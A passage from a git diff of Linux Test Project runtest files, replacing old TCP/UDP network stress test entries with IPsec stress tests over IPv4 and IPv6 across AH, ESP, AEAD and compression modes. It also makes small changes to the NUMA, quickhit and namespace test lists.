-tcp4-uni-winscale03 tcp4-uni-winscale03
-tcp4-uni-winscale04 tcp4-uni-winscale04
-tcp4-uni-winscale05 tcp4-uni-winscale05
-tcp4-uni-winscale06 tcp4-uni-winscale06
-tcp4-uni-winscale07 tcp4-uni-winscale07
-tcp4-uni-winscale08 tcp4-uni-winscale08
-tcp4-uni-winscale09 tcp4-uni-winscale09
-tcp4-uni-winscale10 tcp4-uni-winscale10
-tcp4-uni-winscale11 tcp4-uni-winscale11
-tcp4-uni-winscale12 tcp4-uni-winscale12
-tcp4-uni-winscale13 tcp4-uni-winscale13
-tcp4-uni-winscale14 tcp4-uni-winscale14
-
-tcp6-uni-winscale01 tcp6-uni-winscale01
-tcp6-uni-winscale02 tcp6-uni-winscale02
-tcp6-uni-winscale03 tcp6-uni-winscale03
-tcp6-uni-winscale04 tcp6-uni-winscale04
-tcp6-uni-winscale05 tcp6-uni-winscale05
-tcp6-uni-winscale06 tcp6-uni-winscale06
-tcp6-uni-winscale07 tcp6-uni-winscale07
-tcp6-uni-winscale08 tcp6-uni-winscale08
-tcp6-uni-winscale09 tcp6-uni-winscale09
-tcp6-uni-winscale10 tcp6-uni-winscale10
-tcp6-uni-winscale11 tcp6-uni-winscale11
-tcp6-uni-winscale12 tcp6-uni-winscale12
-tcp6-uni-winscale13 tcp6-uni-winscale13
-tcp6-uni-winscale14 tcp6-uni-winscale14
-
-tcp4-uni-tso01 tcp4-uni-tso01
-tcp4-uni-tso02 tcp4-uni-tso02
-tcp4-uni-tso03 tcp4-uni-tso03
-tcp4-uni-tso04 tcp4-uni-tso04
-tcp4-uni-tso05 tcp4-uni-tso05
-tcp4-uni-tso06 tcp4-uni-tso06
-tcp4-uni-tso07 tcp4-uni-tso07
-tcp4-uni-tso08 tcp4-uni-tso08
-tcp4-uni-tso09 tcp4-uni-tso09
-tcp4-uni-tso10 tcp4-uni-tso10
-tcp4-uni-tso11 tcp4-uni-tso11
-tcp4-uni-tso12 tcp4-uni-tso12
-tcp4-uni-tso13 tcp4-uni-tso13
-tcp4-uni-tso14 tcp4-uni-tso14
-
-tcp6-uni-tso01 tcp6-uni-tso01
-tcp6-uni-tso02 tcp6-uni-tso02
-tcp6-uni-tso03 tcp6-uni-tso03
-tcp6-uni-tso04 tcp6-uni-tso04
-tcp6-uni-tso05 tcp6-uni-tso05
-tcp6-uni-tso06 tcp6-uni-tso06
-tcp6-uni-tso07 tcp6-uni-tso07
-tcp6-uni-tso08 tcp6-uni-tso08
-tcp6-uni-tso09 tcp6-uni-tso09
-tcp6-uni-tso10 tcp6-uni-tso10
-tcp6-uni-tso11 tcp6-uni-tso11
-tcp6-uni-tso12 tcp6-uni-tso12
-tcp6-uni-tso13 tcp6-uni-tso13
-tcp6-uni-tso14 tcp6-uni-tso14
-
-tcp4-uni-pktlossdup01 tcp4-uni-pktlossdup01
-tcp4-uni-pktlossdup02 tcp4-uni-pktlossdup02
-tcp4-uni-pktlossdup03 tcp4-uni-pktlossdup03
-tcp4-uni-pktlossdup04 tcp4-uni-pktlossdup04
-tcp4-uni-pktlossdup05 tcp4-uni-pktlossdup05
-tcp4-uni-pktlossdup06 tcp4-uni-pktlossdup06
-tcp4-uni-pktlossdup07 tcp4-uni-pktlossdup07
-tcp4-uni-pktlossdup08 tcp4-uni-pktlossdup08
-tcp4-uni-pktlossdup09 tcp4-uni-pktlossdup09
-tcp4-uni-pktlossdup10 tcp4-uni-pktlossdup10
-tcp4-uni-pktlossdup11 tcp4-uni-pktlossdup11
-tcp4-uni-pktlossdup12 tcp4-uni-pktlossdup12
-tcp4-uni-pktlossdup13 tcp4-uni-pktlossdup13
-tcp4-uni-pktlossdup14 tcp4-uni-pktlossdup14
-
-tcp6-uni-pktlossdup01 tcp6-uni-pktlossdup01
-tcp6-uni-pktlossdup02 tcp6-uni-pktlossdup02
-tcp6-uni-pktlossdup03 tcp6-uni-pktlossdup03
-tcp6-uni-pktlossdup04 tcp6-uni-pktlossdup04
-tcp6-uni-pktlossdup05 tcp6-uni-pktlossdup05
-tcp6-uni-pktlossdup06 tcp6-uni-pktlossdup06
-tcp6-uni-pktlossdup07 tcp6-uni-pktlossdup07
-tcp6-uni-pktlossdup08 tcp6-uni-pktlossdup08
-tcp6-uni-pktlossdup09 tcp6-uni-pktlossdup09
-tcp6-uni-pktlossdup10 tcp6-uni-pktlossdup10
-tcp6-uni-pktlossdup11 tcp6-uni-pktlossdup11
-tcp6-uni-pktlossdup12 tcp6-uni-pktlossdup12
-tcp6-uni-pktlossdup13 tcp6-uni-pktlossdup13
-tcp6-uni-pktlossdup14 tcp6-uni-pktlossdup14
-
-tcp4-uni-dsackoff01 tcp4-uni-dsackoff01
-tcp4-uni-dsackoff02 tcp4-uni-dsackoff02
-tcp4-uni-dsackoff03 tcp4-uni-dsackoff03
-tcp4-uni-dsackoff04 tcp4-uni-dsackoff04
-tcp4-uni-dsackoff05 tcp4-uni-dsackoff05
-tcp4-uni-dsackoff06 tcp4-uni-dsackoff06
-tcp4-uni-dsackoff07 tcp4-uni-dsackoff07
-tcp4-uni-dsackoff08 tcp4-uni-dsackoff08
-tcp4-uni-dsackoff09 tcp4-uni-dsackoff09
-tcp4-uni-dsackoff10 tcp4-uni-dsackoff10
-tcp4-uni-dsackoff11 tcp4-uni-dsackoff11
-tcp4-uni-dsackoff12 tcp4-uni-dsackoff12
-tcp4-uni-dsackoff13 tcp4-uni-dsackoff13
-tcp4-uni-dsackoff14 tcp4-uni-dsackoff14
-
-tcp6-uni-dsackoff01 tcp6-uni-dsackoff01
-tcp6-uni-dsackoff02 tcp6-uni-dsackoff02
-tcp6-uni-dsackoff03 tcp6-uni-dsackoff03
-tcp6-uni-dsackoff04 tcp6-uni-dsackoff04
-tcp6-uni-dsackoff05 tcp6-uni-dsackoff05
-tcp6-uni-dsackoff06 tcp6-uni-dsackoff06
-tcp6-uni-dsackoff07 tcp6-uni-dsackoff07
-tcp6-uni-dsackoff08 tcp6-uni-dsackoff08
-tcp6-uni-dsackoff09 tcp6-uni-dsackoff09
-tcp6-uni-dsackoff10 tcp6-uni-dsackoff10
-tcp6-uni-dsackoff11 tcp6-uni-dsackoff11
-tcp6-uni-dsackoff12 tcp6-uni-dsackoff12
-tcp6-uni-dsackoff13 tcp6-uni-dsackoff13
-tcp6-uni-dsackoff14 tcp6-uni-dsackoff14
-
-tcp4-uni-sackoff01 tcp4-uni-sackoff01
-tcp4-uni-sackoff02 tcp4-uni-sackoff02
-tcp4-uni-sackoff03 tcp4-uni-sackoff03
-tcp4-uni-sackoff04 tcp4-uni-sackoff04
-tcp4-uni-sackoff05 tcp4-uni-sackoff05
-tcp4-uni-sackoff06 tcp4-uni-sackoff06
-tcp4-uni-sackoff07 tcp4-uni-sackoff07
-tcp4-uni-sackoff08 tcp4-uni-sackoff08
-tcp4-uni-sackoff09 tcp4-uni-sackoff09
-tcp4-uni-sackoff10 tcp4-uni-sackoff10
-tcp4-uni-sackoff11 tcp4-uni-sackoff11
-tcp4-uni-sackoff12 tcp4-uni-sackoff12
-tcp4-uni-sackoff13 tcp4-uni-sackoff13
-tcp4-uni-sackoff14 tcp4-uni-sackoff14
-
-tcp6-uni-sackoff01 tcp6-uni-sackoff01
-tcp6-uni-sackoff02 tcp6-uni-sackoff02
-tcp6-uni-sackoff03 tcp6-uni-sackoff03
-tcp6-uni-sackoff04 tcp6-uni-sackoff04
-tcp6-uni-sackoff05 tcp6-uni-sackoff05
-tcp6-uni-sackoff06 tcp6-uni-sackoff06
-tcp6-uni-sackoff07 tcp6-uni-sackoff07
-tcp6-uni-sackoff08 tcp6-uni-sackoff08
-tcp6-uni-sackoff09 tcp6-uni-sackoff09
-tcp6-uni-sackoff10 tcp6-uni-sackoff10
-tcp6-uni-sackoff11 tcp6-uni-sackoff11
-tcp6-uni-sackoff12 tcp6-uni-sackoff12
-tcp6-uni-sackoff13 tcp6-uni-sackoff13
-tcp6-uni-sackoff14 tcp6-uni-sackoff14
-
-tcp4-multi-sameport01 tcp4-multi-sameport01
-tcp4-multi-sameport02 tcp4-multi-sameport02
-tcp4-multi-sameport03 tcp4-multi-sameport03
-tcp4-multi-sameport04 tcp4-multi-sameport04
-tcp4-multi-sameport05 tcp4-multi-sameport05
-tcp4-multi-sameport06 tcp4-multi-sameport06
-tcp4-multi-sameport07 tcp4-multi-sameport07
-tcp4-multi-sameport08 tcp4-multi-sameport08
-tcp4-multi-sameport09 tcp4-multi-sameport09
-tcp4-multi-sameport10 tcp4-multi-sameport10
-tcp4-multi-sameport11 tcp4-multi-sameport11
-tcp4-multi-sameport12 tcp4-multi-sameport12
-tcp4-multi-sameport13 tcp4-multi-sameport13
-tcp4-multi-sameport14 tcp4-multi-sameport14
-
-tcp6-multi-sameport01 tcp6-multi-sameport01
-tcp6-multi-sameport02 tcp6-multi-sameport02
-tcp6-multi-sameport03 tcp6-multi-sameport03
-tcp6-multi-sameport04 tcp6-multi-sameport04
-tcp6-multi-sameport05 tcp6-multi-sameport05
-tcp6-multi-sameport06 tcp6-multi-sameport06
-tcp6-multi-sameport07 tcp6-multi-sameport07
-tcp6-multi-sameport08 tcp6-multi-sameport08
-tcp6-multi-sameport09 tcp6-multi-sameport09
-tcp6-multi-sameport10 tcp6-multi-sameport10
-tcp6-multi-sameport11 tcp6-multi-sameport11
-tcp6-multi-sameport12 tcp6-multi-sameport12
-tcp6-multi-sameport13 tcp6-multi-sameport13
-tcp6-multi-sameport14 tcp6-multi-sameport14
-
-tcp4-multi-diffport01 tcp4-multi-diffport01
-tcp4-multi-diffport02 tcp4-multi-diffport02
-tcp4-multi-diffport03 tcp4-multi-diffport03
-tcp4-multi-diffport04 tcp4-multi-diffport04
-tcp4-multi-diffport05 tcp4-multi-diffport05
-tcp4-multi-diffport06 tcp4-multi-diffport06
-tcp4-multi-diffport07 tcp4-multi-diffport07
-tcp4-multi-diffport08 tcp4-multi-diffport08
-tcp4-multi-diffport09 tcp4-multi-diffport09
-tcp4-multi-diffport10 tcp4-multi-diffport10
-tcp4-multi-diffport11 tcp4-multi-diffport11
-tcp4-multi-diffport12 tcp4-multi-diffport12
-tcp4-multi-diffport13 tcp4-multi-diffport13
-tcp4-multi-diffport14 tcp4-multi-diffport14
-
-tcp6-multi-diffport01 tcp6-multi-diffport01
-tcp6-multi-diffport02 tcp6-multi-diffport02
-tcp6-multi-diffport03 tcp6-multi-diffport03
-tcp6-multi-diffport04 tcp6-multi-diffport04
-tcp6-multi-diffport05 tcp6-multi-diffport05
-tcp6-multi-diffport06 tcp6-multi-diffport06
-tcp6-multi-diffport07 tcp6-multi-diffport07
-tcp6-multi-diffport08 tcp6-multi-diffport08
-tcp6-multi-diffport09 tcp6-multi-diffport09
-tcp6-multi-diffport10 tcp6-multi-diffport10
-tcp6-multi-diffport11 tcp6-multi-diffport11
-tcp6-multi-diffport12 tcp6-multi-diffport12
-tcp6-multi-diffport13 tcp6-multi-diffport13
-tcp6-multi-diffport14 tcp6-multi-diffport14
-
-tcp4-multi-diffip01 tcp4-multi-diffip01
-tcp4-multi-diffip02 tcp4-multi-diffip02
-tcp4-multi-diffip03 tcp4-multi-diffip03
-tcp4-multi-diffip04 tcp4-multi-diffip04
-tcp4-multi-diffip05 tcp4-multi-diffip05
-tcp4-multi-diffip06 tcp4-multi-diffip06
-tcp4-multi-diffip07 tcp4-multi-diffip07
-tcp4-multi-diffip08 tcp4-multi-diffip08
-tcp4-multi-diffip09 tcp4-multi-diffip09
-tcp4-multi-diffip10 tcp4-multi-diffip10
-tcp4-multi-diffip11 tcp4-multi-diffip11
-tcp4-multi-diffip12 tcp4-multi-diffip12
-tcp4-multi-diffip13 tcp4-multi-diffip13
-tcp4-multi-diffip14 tcp4-multi-diffip14
-
-tcp6-multi-diffip01 tcp6-multi-diffip01
-tcp6-multi-diffip02 tcp6-multi-diffip02
-tcp6-multi-diffip03 tcp6-multi-diffip03
-tcp6-multi-diffip04 tcp6-multi-diffip04
-tcp6-multi-diffip05 tcp6-multi-diffip05
-tcp6-multi-diffip06 tcp6-multi-diffip06
-tcp6-multi-diffip07 tcp6-multi-diffip07
-tcp6-multi-diffip08 tcp6-multi-diffip08
-tcp6-multi-diffip09 tcp6-multi-diffip09
-tcp6-multi-diffip10 tcp6-multi-diffip10
-tcp6-multi-diffip11 tcp6-multi-diffip11
-tcp6-multi-diffip12 tcp6-multi-diffip12
-tcp6-multi-diffip13 tcp6-multi-diffip13
-tcp6-multi-diffip14 tcp6-multi-diffip14
-
-tcp4-multi-diffnic01 tcp4-multi-diffnic01
-tcp4-multi-diffnic02 tcp4-multi-diffnic02
-tcp4-multi-diffnic03 tcp4-multi-diffnic03
-tcp4-multi-diffnic04 tcp4-multi-diffnic04
-tcp4-multi-diffnic05 tcp4-multi-diffnic05
-tcp4-multi-diffnic06 tcp4-multi-diffnic06
-tcp4-multi-diffnic07 tcp4-multi-diffnic07
-tcp4-multi-diffnic08 tcp4-multi-diffnic08
-tcp4-multi-diffnic09 tcp4-multi-diffnic09
-tcp4-multi-diffnic10 tcp4-multi-diffnic10
-tcp4-multi-diffnic11 tcp4-multi-diffnic11
-tcp4-multi-diffnic12 tcp4-multi-diffnic12
-tcp4-multi-diffnic13 tcp4-multi-diffnic13
-tcp4-multi-diffnic14 tcp4-multi-diffnic14
-
-tcp6-multi-diffnic01 tcp6-multi-diffnic01
-tcp6-multi-diffnic02 tcp6-multi-diffnic02
-tcp6-multi-diffnic03 tcp6-multi-diffnic03
-tcp6-multi-diffnic04 tcp6-multi-diffnic04
-tcp6-multi-diffnic05 tcp6-multi-diffnic05
-tcp6-multi-diffnic06 tcp6-multi-diffnic06
-tcp6-multi-diffnic07 tcp6-multi-diffnic07
-tcp6-multi-diffnic08 tcp6-multi-diffnic08
-tcp6-multi-diffnic09 tcp6-multi-diffnic09
-tcp6-multi-diffnic10 tcp6-multi-diffnic10
-tcp6-multi-diffnic11 tcp6-multi-diffnic11
-tcp6-multi-diffnic12 tcp6-multi-diffnic12
-tcp6-multi-diffnic13 tcp6-multi-diffnic13
-tcp6-multi-diffnic14 tcp6-multi-diffnic14
+tcp6_ipsec01 tcp_ipsec.sh -6 -s "100 1000 65535"
+tcp6_ipsec02 tcp_ipsec.sh -6 -p ah -m transport -s "100 1000 65535"
+tcp6_ipsec03 tcp_ipsec.sh -6 -p ah -m tunnel -s "100 1000 65535"
+tcp6_ipsec04 tcp_ipsec.sh -6 -p esp -m transport -s "100 1000 65535"
+tcp6_ipsec05 tcp_ipsec.sh -6 -p esp -m tunnel -s "100 1000 65535"
+tcp6_ipsec06 tcp_ipsec.sh -6 -p comp -m transport -s "100 1000 65535"
+tcp6_ipsec07 tcp_ipsec.sh -6 -p comp -m tunnel -s "100 1000 65535"
+tcp6_ipsec08 tcp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m transport -s "100 1000 65535"
+tcp6_ipsec09 tcp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65535"
+tcp6_ipsec10 tcp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m transport -s "100 1000 65535"
+tcp6_ipsec11 tcp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65535"
+tcp6_ipsec12 tcp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m transport -s "100 1000 65535"
+tcp6_ipsec13 tcp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65535"
+tcp6_ipsec14 tcp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m transport -s "100 1000 65535"
+tcp6_ipsec15 tcp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65535"
+tcp6_ipsec16 tcp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m transport -s "100 1000 65535"
+tcp6_ipsec17 tcp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65535"
+tcp6_ipsec18 tcp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m transport -s "100 1000 65535"
+tcp6_ipsec19 tcp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65535"
+tcp6_ipsec20 tcp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m transport -s "100 1000 65535"
+tcp6_ipsec21 tcp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65535"
+tcp6_ipsec22 tcp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m transport -s "100 1000 65535"
+tcp6_ipsec23 tcp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65535"
+tcp6_ipsec24 tcp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m transport -s "100 1000 65535"
+tcp6_ipsec25 tcp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65535"
+tcp6_ipsec26 tcp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m transport -s "100 1000 65535"
+tcp6_ipsec27 tcp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65535"
+tcp6_ipsec28 tcp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m transport -s "100 1000 65535"
+tcp6_ipsec29 tcp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65535"
+tcp6_ipsec30 tcp_ipsec.sh -6 -p esp -a sha384 -e twofish -m transport -s "100 1000 65535"
+tcp6_ipsec31 tcp_ipsec.sh -6 -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65535"
+tcp6_ipsec32 tcp_ipsec.sh -6 -p esp -a sha512 -e camellia -m transport -s "100 1000 65535"
+tcp6_ipsec33 tcp_ipsec.sh -6 -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65535"
+tcp6_ipsec34 tcp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m transport -s "100 1000 65535"
+tcp6_ipsec35 tcp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65535"
diff --git a/runtest/net_stress.ipsec_udp b/runtest/net_stress.ipsec_udp
index bfe9d85..cfabb22 100644
--- a/runtest/net_stress.ipsec_udp
+++ b/runtest/net_stress.ipsec_udp
@@ -1,67 +1,71 @@
-#
-# Stress test for TCP/IP protocol stack (UDP)
-#
+udp4_ipsec01 udp_ipsec.sh -s "100 1000 65507"
+udp4_ipsec02 udp_ipsec.sh -p ah -m transport -s "100 1000 65483"
+udp4_ipsec03 udp_ipsec.sh -p ah -m tunnel -s "100 1000 65463"
+udp4_ipsec04 udp_ipsec.sh -p esp -m transport -s "100 1000 65470"
+udp4_ipsec05 udp_ipsec.sh -p esp -m tunnel -s "100 1000 65450"
+udp4_ipsec06 udp_ipsec.sh -p comp -m transport -s "100 1000 65000"
+udp4_ipsec07 udp_ipsec.sh -p comp -m tunnel -s "100 1000 65000"
+udp4_ipsec08 udp_ipsec.sh -A rfc4106_128 -p esp_aead -m transport -s "100 1000 65470"
+udp4_ipsec09 udp_ipsec.sh -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65450"
+udp4_ipsec10 udp_ipsec.sh -A rfc4106_192 -p esp_aead -m transport -s "100 1000 65470"
+udp4_ipsec11 udp_ipsec.sh -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65450"
+udp4_ipsec12 udp_ipsec.sh -A rfc4106_256 -p esp_aead -m transport -s "100 1000 65470"
+udp4_ipsec13 udp_ipsec.sh -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65450"
+udp4_ipsec14 udp_ipsec.sh -A rfc4309_128 -p esp_aead -m transport -s "100 1000 65470"
+udp4_ipsec15 udp_ipsec.sh -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65450"
+udp4_ipsec16 udp_ipsec.sh -A rfc4309_192 -p esp_aead -m transport -s "100 1000 65470"
+udp4_ipsec17 udp_ipsec.sh -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65450"
+udp4_ipsec18 udp_ipsec.sh -A rfc4309_256 -p esp_aead -m transport -s "100 1000 65470"
+udp4_ipsec19 udp_ipsec.sh -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65450"
+udp4_ipsec20 udp_ipsec.sh -A rfc4543_128 -p esp_aead -m transport -s "100 1000 65470"
+udp4_ipsec21 udp_ipsec.sh -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65450"
+udp4_ipsec22 udp_ipsec.sh -A rfc4543_192 -p esp_aead -m transport -s "100 1000 65470"
+udp4_ipsec23 udp_ipsec.sh -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65450"
+udp4_ipsec24 udp_ipsec.sh -A rfc4543_256 -p esp_aead -m transport -s "100 1000 65470"
+udp4_ipsec25 udp_ipsec.sh -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65450"
+udp4_ipsec26 udp_ipsec.sh -p esp -a sha1 -e cast5 -m transport -s "100 1000 65470"
+udp4_ipsec27 udp_ipsec.sh -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65450"
+udp4_ipsec28 udp_ipsec.sh -p esp -a sha256 -e blowfish -m transport -s "100 1000 65470"
+udp4_ipsec29 udp_ipsec.sh -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65426"
+udp4_ipsec30 udp_ipsec.sh -p esp -a sha384 -e twofish -m transport -s "100 1000 65446"
+udp4_ipsec31 udp_ipsec.sh -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65426"
+udp4_ipsec32 udp_ipsec.sh -p esp -a sha512 -e camellia -m transport -s "100 1000 65446"
+udp4_ipsec33 udp_ipsec.sh -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65426"
+udp4_ipsec34 udp_ipsec.sh -p esp -a rmd160 -e serpent -m transport -s "100 1000 65446"
+udp4_ipsec35 udp_ipsec.sh -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65426"
 
-udp4-uni-basic01 udp4-uni-basic01
-udp4-uni-basic02 udp4-uni-basic02
-udp4-uni-basic03 udp4-uni-basic03
-udp4-uni-basic04 udp4-uni-basic04
-udp4-uni-basic05 udp4-uni-basic05
-udp4-uni-basic06 udp4-uni-basic06
-udp4-uni-basic07 udp4-uni-basic07
-
-udp6-uni-basic01 udp6-uni-basic01
-udp6-uni-basic02 udp6-uni-basic02
-udp6-uni-basic03 udp6-uni-basic03
-udp6-uni-basic04 udp6-uni-basic04
-udp6-uni-basic05 udp6-uni-basic05
-udp6-uni-basic06 udp6-uni-basic06
-udp6-uni-basic07 udp6-uni-basic07
-
-udp4-multi-diffport01 udp4-multi-diffport01
-udp4-multi-diffport02 udp4-multi-diffport02
-udp4-multi-diffport03 udp4-multi-diffport03
-udp4-multi-diffport04 udp4-multi-diffport04
-udp4-multi-diffport05 udp4-multi-diffport05
-udp4-multi-diffport06 udp4-multi-diffport06
-udp4-multi-diffport07 udp4-multi-diffport07
-
-udp6-multi-diffport01 udp6-multi-diffport01
-udp6-multi-diffport02 udp6-multi-diffport02
-udp6-multi-diffport03 udp6-multi-diffport03
-udp6-multi-diffport04 udp6-multi-diffport04
-udp6-multi-diffport05 udp6-multi-diffport05
-udp6-multi-diffport06 udp6-multi-diffport06
-udp6-multi-diffport07 udp6-multi-diffport07
-
-udp4-multi-diffip01 udp4-multi-diffip01
-udp4-multi-diffip02 udp4-multi-diffip02
-udp4-multi-diffip03 udp4-multi-diffip03
-udp4-multi-diffip04 udp4-multi-diffip04
-udp4-multi-diffip05 udp4-multi-diffip05
-udp4-multi-diffip06 udp4-multi-diffip06
-udp4-multi-diffip07 udp4-multi-diffip07
-
-udp6-multi-diffip01 udp6-multi-diffip01
-udp6-multi-diffip02 udp6-multi-diffip02
-udp6-multi-diffip03 udp6-multi-diffip03
-udp6-multi-diffip04 udp6-multi-diffip04
-udp6-multi-diffip05 udp6-multi-diffip05
-udp6-multi-diffip06 udp6-multi-diffip06
-udp6-multi-diffip07 udp6-multi-diffip07
-
-udp4-multi-diffnic01 udp4-multi-diffnic01
-udp4-multi-diffnic02 udp4-multi-diffnic02
-udp4-multi-diffnic03 udp4-multi-diffnic03
-udp4-multi-diffnic04 udp4-multi-diffnic04
-udp4-multi-diffnic05 udp4-multi-diffnic05
-udp4-multi-diffnic06 udp4-multi-diffnic06
-udp4-multi-diffnic07 udp4-multi-diffnic07
-
-udp6-multi-diffnic01 udp6-multi-diffnic01
-udp6-multi-diffnic02 udp6-multi-diffnic02
-udp6-multi-diffnic03 udp6-multi-diffnic03
-udp6-multi-diffnic04 udp6-multi-diffnic04
-udp6-multi-diffnic05 udp6-multi-diffnic05
-udp6-multi-diffnic06 udp6-multi-diffnic06
-udp6-multi-diffnic07 udp6-multi-diffnic07
+udp6_ipsec01 udp_ipsec.sh -6 -s "100 1000 65527"
+udp6_ipsec02 udp_ipsec.sh -6 -p ah -m transport -s "100 1000 65503"
+udp6_ipsec03 udp_ipsec.sh -6 -p ah -m tunnel -s "100 1000 65527"
+udp6_ipsec04 udp_ipsec.sh -6 -p esp -m transport -s "100 1000 65490"
+udp6_ipsec05 udp_ipsec.sh -6 -p esp -m tunnel -s "100 1000 65527"
+udp6_ipsec06 udp_ipsec.sh -6 -p comp -m transport -s "100 1000 65000"
+udp6_ipsec07 udp_ipsec.sh -6 -p comp -m tunnel -s "100 1000 65000"
+udp6_ipsec08 udp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m transport -s "100 1000 65490"
+udp6_ipsec09 udp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65527"
+udp6_ipsec10 udp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m transport -s "100 1000 65490"
+udp6_ipsec11 udp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65527"
+udp6_ipsec12 udp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m transport -s "100 1000 65490"
+udp6_ipsec13 udp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65527"
+udp6_ipsec14 udp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m transport -s "100 1000 65490"
+udp6_ipsec15 udp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65527"
+udp6_ipsec16 udp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m transport -s "100 1000 65490"
+udp6_ipsec17 udp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65527"
+udp6_ipsec18 udp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m transport -s "100 1000 65490"
+udp6_ipsec19 udp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65527"
+udp6_ipsec20 udp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m transport -s "100 1000 65490"
+udp6_ipsec21 udp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65527"
+udp6_ipsec22 udp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m transport -s "100 1000 65490"
+udp6_ipsec23 udp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65527"
+udp6_ipsec24 udp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m transport -s "100 1000 65490"
+udp6_ipsec25 udp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65527"
+udp6_ipsec26 udp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m transport -s "100 1000 65490"
+udp6_ipsec27 udp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65527"
+udp6_ipsec28 udp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m transport -s "100 1000 65490"
+udp6_ipsec29 udp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65527"
+udp6_ipsec30 udp_ipsec.sh -6 -p esp -a sha384 -e twofish -m transport -s "100 1000 65462"
+udp6_ipsec31 udp_ipsec.sh -6 -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65527"
+udp6_ipsec32 udp_ipsec.sh -6 -p esp -a sha512 -e camellia -m transport -s "100 1000 65462"
+udp6_ipsec33 udp_ipsec.sh -6 -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65527"
+udp6_ipsec34 udp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m transport -s "100 1000 65478"
+udp6_ipsec35 udp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65527"
diff --git a/runtest/numa b/runtest/numa
index 87f64da..dcf4948 100644
--- a/runtest/numa
+++ b/runtest/numa
@@ -10,3 +10,4 @@
 move_pages09 move_pages.sh 09
 move_pages10 move_pages.sh 10
 move_pages11 cd $LTPROOT/testcases/bin && chown root move_pages11 && chmod 04755 move_pages11 && move_pages.sh 11
+move_pages12 move_pages12
diff --git a/runtest/nw_under_ns b/runtest/nw_under_ns
deleted file mode 100644
index 54217a6..0000000
--- a/runtest/nw_under_ns
+++ /dev/null
@@ -1,2 +0,0 @@
-# Network testcases under containers
-network_namespace	nw_under_ns.sh
diff --git a/runtest/quickhit b/runtest/quickhit
index 282ad24..c286add 100644
--- a/runtest/quickhit
+++ b/runtest/quickhit
@@ -188,8 +188,6 @@
 # Basic test for mkdir(2)
 qmm01 mmap001 -m 1
 # Basic mmap() test.
-nice05 nice05
-# Basic test for nice(2)
 open03 open03
 # Basic test for open(2)
 pathconf01 pathconf01
diff --git a/runtest/stress.part3 b/runtest/stress.part3
index 7c74ea0..bd84752 100644
--- a/runtest/stress.part3
+++ b/runtest/stress.part3
@@ -1,5 +1,5 @@
 #DESCRIPTION:Part three for ltpstress.sh
